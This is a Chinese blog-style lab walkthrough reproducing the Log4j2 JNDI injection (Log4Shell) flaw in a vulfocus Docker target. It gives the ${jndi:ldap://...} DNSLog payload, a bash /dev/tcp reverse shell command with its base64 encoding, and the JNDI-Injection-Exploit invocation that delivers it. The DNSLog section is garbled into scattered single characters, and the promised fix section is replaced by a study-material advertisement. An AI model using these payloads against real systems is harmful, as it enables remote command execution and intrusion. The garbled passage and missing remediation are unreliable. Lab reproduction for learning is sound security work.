网络安全最新【漏洞复现】2(1)

  1. 当用户输入信息时,应用程序中的log4j2组件会将信息记录到日志中
  2. 假如日志中含有该语句${jndi:ldap:X.X.X.X:1099/shell},log4j就会去解析该信息,通过jndi的lookup()方法去解析该URL:ldap:X.X.X.X:1099/shell
  3. 解析到ldap,就会去X.X.X.X:1099的ldap服务找名为shell的资源,如果找不到就会去http服务中找
  4. 在http中找到shell之后,就会将资源信息返回给应用程序的log4j组件,而log4j组件就会下载下来,然后发现shell是一个.class文件,就会去执行里面的代码,从而实现注入
  5. 攻击者就可以通过shell实现任意的命令执行,造成严重危害

2.3 漏洞复现

2.3.1 使用docker搭建复现环境
使用vulfocus提供的镜像容器对靶场进行搭建:

docker pull vulfocus/log4j2-rce-2021-12-09:latest
sudo docker run -itd -p 8080:8080 vulfocus/log4j2-rce-2021-12-09
在这里插入图片描述
浏览器访问http://192.168.71.128,部署成功
在这里插入图片描述

2.3.2 DNSLog验证
首先对网页进行抓包,看是否存在注入点,配置好端口后进行抓包。可以看到数据包内容如下:

在这里插入图片描述
注入位置在/hello目录下的一个payload位置,并且是get提交的数据,直接访问问号并抓包,就可以在改payload位置注入exp。
DNSLog在web漏洞中是常见的使用方法, 在某些无法直接利用漏洞获得回显的情况下, 但目标可以发起DNS请求, 这个时候就可以通过这种方式把想获得的数据外带出来。
将其发送到Repeater进行修改重放,通过DNSLog平台https://dig.pm获取到域名949cc308.ipv6.1433.eu.org.
在这里插入图片描述
构造payload:

j

n

d

i

:

l

d

a

p

:

/

/

949

c

c

i

p

v

6.1433.

e

u

.

o

r

g

,浏览器点击

?

?

?

?

?

并使用

B

u

r

p

s

u

i

t

e

进行抓包并替换

p

a

y

l

o

a

d

参数。其中

{jndi:ldap://949cc308.ipv6.1433.eu.org},浏览器点击???并使用Burpsuite进行抓包并替换payload参数。其中

jndi:ldap://949cc308.ipv6.1433.eu.org,浏览器点击???并使用Burpsuite进行抓包并替换payload参数。其中{jndi:ldap://XXX}是jndi注入,XXX是一个域名,其中本实验中是我们申请的免费域名。
此时若直接发包会导致服务器400错误:
在这里插入图片描述
通过Burpsuite自带的编码工具对其进行URL编码:
在这里插入图片描述
编码后再次发送请求包,此时请求成功:
在这里插入图片描述
在DNSLog网站成功接收到解析记录:
在这里插入图片描述

2.3.3 JNDI注入反弹shell
使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar进行漏洞利用,下载地址https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0。这是一个JNDI注入利用工具,生成JNDI链接并启动后端相关服务,可以用于Fastjson、Jackson等相关漏洞利用。
根据工具说明,采用如下命令对其进行利用:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]

其中[-C] [command]为反弹shell指令,此处kali的ip为192.168.71.128,port可使用任意未被占用的端口,故任意指定为4444:

bash -i >& /dev/tcp/192.168.71.128/4444 0>&1

将此条命令进行Base 64编码,使用的是BurpSuite的Decoder模块,得到加密后的:

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjcxLjEyOC82NjY2IDA+JjE=

在这里插入图片描述
随后将加密后的shell命令通过-C参数输入JNDI工具,通过-A参数指定kali的ip地址:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjcxLjEyOC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}" -A 192.168.71.128

在这里插入图片描述
开启新的窗口监听4444端口
在这里插入图片描述
替换工具生成的payload:rmi://192.168.71.128:1099/mrflzc 到Burpsuite,其中生成的链接后面的codebaseClass是6位随机的,因为不希望工具生成的链接本身成为一种特征呗监控或拦截。服务器地址实际上就是codebase地址,相比于marshalsec中的JNDI server来说,这个工具把JNDI server和HTTP server绑定到一起,并自动启动HTTPserver返回相应class,更自动化了。HTTP server基于jetty实现的,本质上是一个能下载文件的servlet,比较有意思的是我提前编译好class模板放到resource目录,然后servlet会读取class文件,使用ASM框架对读取的字节码进行修改,然后插入我们想要执行的命令,返回修改后的字节码:
在这里插入图片描述
在这里插入图片描述
仍然注意要将payload进行编码:
在这里插入图片描述
可以看到Kali监听端成功获取到相关信息:
在这里插入图片描述

2.4 漏洞修复

先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7

深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年最新网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新

需要这份系统化资料的朋友,可以点击这里获取
外链图片转存中…(img-uVeyC4m7-1714817855826)]
[外链图片转存中…(img-AyGjQGCq-1714817855827)]

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新

需要这份系统化资料的朋友,可以点击这里获取

  • 19
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值